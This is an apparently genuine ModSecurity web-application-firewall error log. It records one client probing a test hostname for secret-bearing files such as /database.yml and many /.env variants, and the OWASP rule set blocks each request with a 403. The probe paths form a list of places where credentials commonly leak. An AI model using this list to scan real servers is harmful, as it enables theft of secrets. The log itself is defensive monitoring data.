[Thu Feb 26 01:02:46.457010 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkSAAAAAM&quot;]
[Thu Feb 26 01:02:46.478866 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjkxwAAAAI&quot;]
[Thu Feb 26 01:02:46.479137 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjkxwAAAAI&quot;]
[Thu Feb 26 01:02:46.479312 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjkxwAAAAI&quot;]
[Thu Feb 26 01:02:46.516250 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /administrator/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/administrator/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkSgAAAAM&quot;]
[Thu Feb 26 01:02:46.516519 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/administrator/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkSgAAAAM&quot;]
[Thu Feb 26 01:02:46.516684 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/administrator/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkSgAAAAM&quot;]
[Thu Feb 26 01:02:46.519587 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjkyAAAAAI&quot;]
[Thu Feb 26 01:02:46.519817 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjkyAAAAAI&quot;]
[Thu Feb 26 01:02:46.519980 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjkyAAAAAI&quot;]
[Thu Feb 26 01:02:46.546462 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjkyQAAAAI&quot;]
[Thu Feb 26 01:02:46.546742 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjkyQAAAAI&quot;]
[Thu Feb 26 01:02:46.546920 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjkyQAAAAI&quot;]
[Thu Feb 26 01:02:46.562006 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cms/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkSwAAAAM&quot;]
[Thu Feb 26 01:02:46.562297 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkSwAAAAM&quot;]
[Thu Feb 26 01:02:46.562493 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkSwAAAAM&quot;]
[Thu Feb 26 01:02:46.591470 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /portal/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkTAAAAAM&quot;]
[Thu Feb 26 01:02:46.591731 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkTAAAAAM&quot;]
[Thu Feb 26 01:02:46.591908 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkTAAAAAM&quot;]
[Thu Feb 26 01:02:46.622333 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dashboard/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dashboard/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkTQAAAAM&quot;]
[Thu Feb 26 01:02:46.622657 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dashboard/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkTQAAAAM&quot;]
[Thu Feb 26 01:02:46.622862 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dashboard/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkTQAAAAM&quot;]
[Thu Feb 26 01:02:46.661054 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /crm/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkTgAAAAM&quot;]
[Thu Feb 26 01:02:46.661337 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkTgAAAAM&quot;]
[Thu Feb 26 01:02:46.661506 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkTgAAAAM&quot;]
[Thu Feb 26 01:02:46.688323 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mail/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkTwAAAAM&quot;]
[Thu Feb 26 01:02:46.688573 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkTwAAAAM&quot;]
[Thu Feb 26 01:02:46.688732 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkTwAAAAM&quot;]
[Thu Feb 26 01:02:46.728945 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mailer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkUAAAAAM&quot;]
[Thu Feb 26 01:02:46.729204 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkUAAAAAM&quot;]
[Thu Feb 26 01:02:46.729370 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkUAAAAAM&quot;]
[Thu Feb 26 01:02:46.751978 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /deployment/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deployment/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkUQAAAAM&quot;]
[Thu Feb 26 01:02:46.752237 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deployment/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkUQAAAAM&quot;]
